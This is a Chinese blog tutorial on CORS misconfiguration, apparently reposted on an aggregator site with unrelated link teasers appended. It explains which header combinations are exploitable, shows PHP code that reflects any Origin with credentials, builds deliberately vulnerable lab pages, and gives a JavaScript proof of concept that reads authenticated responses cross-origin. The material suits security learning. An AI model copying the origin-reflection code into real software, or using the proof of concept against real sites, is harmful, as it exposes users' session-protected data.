6、聊聊cors漏洞

文章目录

  • 1、小结
      • 1.1、存在漏洞的情况:
      • 1.2、常见的cors设置(php举例)
  • 2、漏洞复现
      • 2.1、无需cookie
      • 2.2、需要cookie
      • 2.3、需要cookie的方式利用限制
  • 3、补充与疑惑

1、小结

cors漏洞在20230404基本无了

估计很多乙方工作得同学都拿这个漏洞凑数(可能大部分都不太了解,错失许多高危)

现在这个漏洞基本就是凑数了,在浏览器不断优化得情况下,最终也许会消失

1.1、存在漏洞的情况:

1   如果返回头是以下情况,那么就是高危漏洞,这种情况下漏洞最好利用:
Access-Control-Allow-Origin: https://www.attacker.com(备注:www.attacker.com为恶意网站)
Access-Control-Allow-Credentials: true

实际上,就是此设置真实利用也较为困难;
主要原因是从20年开始,    Google在Chrome开始支持Cookie的新属性SameSite
(该属性目前已经得到了业界各类大众浏览器的支持)



2   如果返回头是以下情况,那么也可以认为是高危漏洞,只是利用起来麻烦一些:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true



3   如果返回以下,则不存在漏洞,因为Null必须是小写才存在漏洞:
Access-Control-Allow-Origin: Null
Access-Control-Allow-Credentials: true



4   如果返回以下,可认为不存在漏洞,因为CORS安全机制阻止了这种情况下的漏洞利用,也可以写上低危的CORS配置错误问题。
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true



5   如果返回以下,可认为不存在漏洞,也可以写上低危的CORS配置错误问题。
Access-Control-Allow-Origin: *

1.2、常见的cors设置(php举例)

1.允许所有源
<?php header("Access-Control-Allow-Origin: *"); ?> 

2.允许来自所有源的访问(危险)
<?php header('Access-Control-Allow-Origin: '.$_SERVER['HTTP_ORIGIN']); ?> 

3.配置多个访问源(白名单)
<?php
$allowed_origins   = array(  
                            "http://www.example.com"   ,  
                            "http://app.example.com"  ,  
                            "http://cms.example.com"  ,  
                          );  
if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)){    
    <span class="label label-primary">@header(</span>"Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);  
}
?>

2、漏洞复现

漏洞的情况分为两种,

一种是无需cookie的(实际上这种场景,直接提交未授权访问会更好)

一种是需要cookie的

2.1、无需cookie

漏洞网站:

apiVuln.php

<?php
header("Access-Control-Allow-Origin: *");
header("content-type:application/json");
$info = array('user'=>'xq17', 'pass'=&gt;'123456');
echo json_encode($info); //json_encode对变量进行 JSON 编码

攻击代码如下:

exp.php


        window.onload = function cors() {
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
        if (this.readyState == 4 &amp;&amp; this.status == 200) {
        document.getElementById("demo").innerHTML =
        alert(this.responseText);
        }
        };
        xhttp.open("GET", "http://受害网站.com:8888/cors/apiVuln.php", true);
        xhttp.send();
        }

攻击结果,

在这里插入图片描述

2.2、需要cookie

测试环境:

php版本:7.3.4    (低版本无法设置cookie的 samesite 属性)

谷歌浏览器:版本 111.0.5563.147(正式版本) (64 位)

火狐浏览器:版本 111.0.5563.147(正式版本) (64 位)

新版ie浏览器:版本 111.0.1661.62 (正式版本) (64)

burp自带浏览器:版本 95.0.4638.69(正式版本) (64 位)

受害者网站代码,
f1.php

<?php

//phpinfo();

// 中文乱码修复
header('Content-Type: text/html; charset=utf-8');


// 假设前端通过POST请求传递了用户名和密码
$username = $_GET['user'];
$password = $_GET['pass'];

// 检查用户名和密码是否正确,此处应该从数据库中查询用户信息
if ($username === 'admin' &amp;&amp; $password === '123456') {
    // 如果用户名和密码正确,设置Cookie
//    setcookie('user', $username, time() + 3600, '/');

    $options = [
    'Secure' => true,
    'httponly' =&gt; false,
    'samesite' =&gt; 'None',
    ];
    setcookie('user', $username, $options);



    // 返回登录成功的响应
    echo '登录成功';
} else {
    // 返回登录失败的响应
    echo '用户名或密码错误';
}
?&gt;

f2.php

<?php
// 中文乱码修复
header('Content-Type: text/html; charset=utf-8');


//header("Access-Control-Allow-Origin: http://10.2.63.8");
//header("Access-Control-Allow-Origin: *");
<span class="label label-primary">@header('Access-Control-Allow-Origin</span>: '.$_SERVER['HTTP_ORIGIN']);
header("Access-Control-Allow-Credentials: true");


// 首先检查用户是否已经登录
if (!isset($_COOKIE['user'])) {
    // 如果尚未登录,重定向到登录页面
    //header('Location: login.php');

    echo('未登录');
    exit();
}
// 如果已经登录,从Cookie中获取用户名
$user = $_COOKIE['user'];

// 显示欢迎消息,或者其他需要登录才可以查看的内容
echo "欢迎您,{$user}!\n<br>";
echo "密码为:123456";

?&gt;

攻击exp.php


        window.onload = function cors() {
//             // 获取已经取到的cookie
//             // var xhttp1 = new XMLHttpRequest();
//             // xhttp1.open("GET", "http://10.12.50.197/login.php", true);
//             // xhttp1.withCredentials = true;
//             // xhttp1.send();


            var xhttp = new XMLHttpRequest();
            xhttp.open("POST", "https://ccc.com/f2.php", true);
            xhttp.withCredentials = true;
            xhttp.send();
            xhttp.onreadystatechange = function() {
            if (this.readyState == 4 &amp;&amp; this.status == 200) {
                document.getElementById("demo").innerHTML =
                alert(this.responseText);
                }
            };

        }

测试流程:

受害者先访问f1.php进行登录,然后访问f2.php看看能不能正常获取。

都可以了,在访问exp.php才会触发

在这里插入图片描述

2.3、需要cookie的方式利用限制

需要同时满足所有:

    ~受害者网站需要存在cors漏洞(以最理想的状态举例)
        Access-Control-Allow-Origin: https://www.attacker.com(备注:www.attacker.com为恶意网站)
        Access-Control-Allow-Credentials: true

    ~受害者网站需要设置cookie内属性
        secure; SameSite=None        、、低版本的php无法设置

    ~受害者网站需要使用https协议
        不然上一步 cookie属性设置无效
        如果设置SameSite为None
            (前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效)。

    ~受害者使用ie浏览器/低版本谷歌浏览器

3、补充与疑惑

本文有其他错误/不足,欢迎各位指出~~

不设置 secure; SameSite=None 新版本ie可以成功吗
不能

不设置https 新版本ie可以成功吗
不能

为什么满足所有测试条件,新版本的谷歌/火狐浏览器仍然失败?
有同学了解的话,欢迎留言沟通指导

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/429341.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

jmeter 生成html报告及解读

当前版本&#xff1a; jmeter 5.6.3mysql 5.7.39 简介 JMeter 支持在测试完成后自动生成报告&#xff0c;也支持使用结果数据文件转换成html报告&#xff08;使用 -l 文件.jtl&#xff09;。本篇文章主要介绍如何生成报告&#xff0c;以及报告的基本解读。 文章目录如下 1. 生…

06. Nginx进阶-Nginx代理服务

proxy代理功能 正向代理 什么是正向代理&#xff1f; 正向代理&#xff08;forward proxy&#xff09;&#xff0c;一个位于客户端和原始服务器之间的服务器。 工作原理 为了从原始服务器获取内容&#xff0c;客户端向代理发送一个请求并指定目标&#xff08;即原始服务器…

window10 安装配置docker

前言&#xff08;重要&#xff09;&#xff1a;确认window10版本已经更新到最新版 随着时间推移&#xff0c;docker对window版本的支持也在变&#xff0c;截至2024年3月份&#xff0c;支持win10最低版本号&#xff1a;22H2,操作系统最低版本&#xff1a;19045.2965&#xff0c…

基于springboot+vue的新闻资讯系统

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战&#xff0c;欢迎高校老师\讲师\同行交流合作 ​主要内容&#xff1a;毕业设计(Javaweb项目|小程序|Pyt…

科技云报道:阿里云降价,京东云跟进,谁能打赢云计算价格战?

科技云报道原创。 就在大家还在回味2月29日阿里云发布“史上最大降价”的惊喜时&#xff0c;京东云连夜发布降价消息&#xff0c;成为第一家跟进的云服务商&#xff0c;其“随便降&#xff0c;比到底&#xff01;”的口号&#xff0c;颇有对垒的意味&#xff0c;直接吹响了云计…

Python采集学习笔记-request的get请求和post请求

使用http://httpbin.org测试,一个简单的 HTTP 请求和响应服务。(需联网)1.导入requests包 import requests 2.测试get请求 url http://httpbin.org/get par {key1: value1, key2: value2} # 不带参数请求 r1 requests.get(url) # 带参数请求 r2 requests.get(url, paramspa…

【数据结构和算法初阶(C语言)】带环链表问题详解(快慢指针的烧脑应用)

目录 1.铺垫-----带环链表基本了解 2. 题目&#xff1a;环形链表 3.环形链表|| ​编辑 3.1题解1 3.2 题解2 4.总结 1.铺垫-----带环链表基本了解 环形链表题目启迪&#xff1a; 环形链表特点&#xff1a;遍历链表会出现一模一样的地址 2. 题目&#xff1a;环形链表 给…

Scrapy与分布式开发(2.3):lxml+xpath基本指令和提取方法详解

lxmlxpath基本指令和提取方法详解 一、XPath简介 XPath&#xff0c;全称为XML Path Language&#xff0c;是一种在XML文档中查找信息的语言。它允许用户通过简单的路径表达式在XML文档中进行导航。XPath不仅适用于XML&#xff0c;还常用于处理HTML文档。 二、基本指令和提取…

爬虫入门到精通_实战篇10(使用Redis+Flask维护动态代理池)

1 目标 为什么要用代理池 许多网站有专门的反爬虫措施&#xff0c;可能遇到封IP等问题。互联网上公开了大量免费代理&#xff0c;利用好资源。通过定时的检测维护同样可以得到多个可用代理。 代理池的要求 多站抓取&#xff0c;异步检测定时筛选&#xff0c;持续更新提供接…

12 状态优先级

概念 cpu需要执行很多进程&#xff0c;有很多进程排在队列中&#xff0c;每个进程加载后运行一定的时间段&#xff0c;然后切换下一个进程。cpu如何判断进程需不需要加载&#xff0c;什么时候加载&#xff0c;依靠进程的状态和优先级属性来判断&#xff0c;进程调度&#xff0…

Gitlab: PHP项目CI/CD实践

目录 1 说明 2 CI/CD 2.1 部署方式一&#xff1a;增量部署 2.1.1 目标服务器准备 2.2.2 Gitlab及Envoy脚本 2.2 部署方式二&#xff1a;镜像构建与部署 2.2.1 推送到私有化容器仓库 准备工作 脚本 要点 2.2.2 推送到hub.docker.com 准备工作 脚本 3 参考&#x…

深入探讨 AutoGPT:彻底改变游戏的自主 AI

原文地址&#xff1a;Deep Dive into AutoGPT: The Autonomous AI Revolutionizing the Game 2023 年 4 月 24 日 AutoGPT 是一个功能强大的工具&#xff0c;它通过 API 使用 GPT-4 和 GPT-3.5&#xff0c;通过将项目分解为子任务并在自动循环中使用互联网和其他工具来创建完…

力扣hot8---滑动窗口

这里先跳过力扣hot7啦&#xff0c;这几天就回更~ 题目&#xff1a; 滑动窗口思路&#xff1a; 首先左窗口&#xff08;left&#xff09;指向的是第0个元素&#xff0c;依次遍历循环每一个元素&#xff0c;维护一个unordered_set&#xff0c;如果当前被遍历的元素存在于unorder…

Python实现ADTM工具判断信号:股票技术分析的工具系列(6)

Python实现ADTM工具判断信号&#xff1a;股票技术分析的工具系列&#xff08;6&#xff09; 介绍算法解释 代码rolling函数介绍完整代码data代码ADTM.py 介绍 ADTM&#xff08;动态买卖气指标&#xff09;是一种用于衡量市场买卖力量对比的指标。它通过计算动态买盘指标&#…

【源码】imx6ull实现触摸屏单点实验-移植tslib和qt

一、本实验实验的器材&#xff1a; 1.正点原子imx6ull的阿尔法开发板v2.2 2.屏幕ALIENTEK 4.3 RGBLCD 二、实验已经移植好的文件&#xff1a; 仓库代码&#xff1a;https://gitee.com/wangyoujie11/atkboard_-linux_-driver.git 1.文件说明 arm-qt.tar.bz2&#xff1a;移植好的…

tsc : 无法加载文件 C:\Users\Administrat\AppData\Roaming\npm\tsc.ps 1,因为在此系统上禁止运行脚本

报错&#xff1a;tsc : 无法加载文件 C:\Users\Administrat\AppData\Roaming\npm\tsc.ps1&#xff0c;因为在此系统上禁止运行脚本。有关详细信息&#xff0c;请参阅 https:/go.microsoft.com/fwlink/?LinkID135170 中的 about_Execution_Policies。 解决 使用命令行时出现ab…

idea中引入新JDK环境

在不同的项目中往往会需要不同的运行环境&#xff0c;那么如何下载一个新的环境并运用到idea中呢&#xff1f; 下面给出的就是oracle官网&#xff0c;以JDK17为例教大家如何下载 Java Archive Downloads - GraalVM for JDK 17https://www.oracle.com/java/technologies/javase…

世界的本质是旋转(5)-在复平面上驱动软件无线电SDR发射BPSK波形

在上一篇文章中&#xff0c;我们介绍了复平面、拍照采样的一些思维实验。从本节开始&#xff0c;转入现实应用&#xff0c;通过控制复平面向量的位置&#xff0c;实现一个完整的BPSK全双工通信通道。 发射方&#xff1a;通过控制复平面向量在各个时刻的位置来携带信息的技术&a…

108. 将有序数组转换为二叉搜索树【简单】

108. 将有序数组转换为二叉搜索树【简单】 题目描述&#xff1a; 给你一个整数数组 nums &#xff0c;其中元素已经按 升序 排列&#xff0c;请你将其转换为一棵 高度平衡 二叉搜索树。 高度平衡 二叉树是一棵满足「每个节点的左右两个子树的高度差的绝对值不超过 1 」的二叉…

电脑不小心格式化了,怎么恢复?

在这个数字化时代&#xff0c;电脑已经成为我们日常生活和工作中不可或缺的工具。然而&#xff0c;有时我们可能会不小心格式化电脑硬盘&#xff0c;导致重要数据的丢失。那么&#xff0c;电脑不小心格式化了&#xff0c;怎么恢复&#xff1f; 别着急&#xff0c;在本篇攻略中&…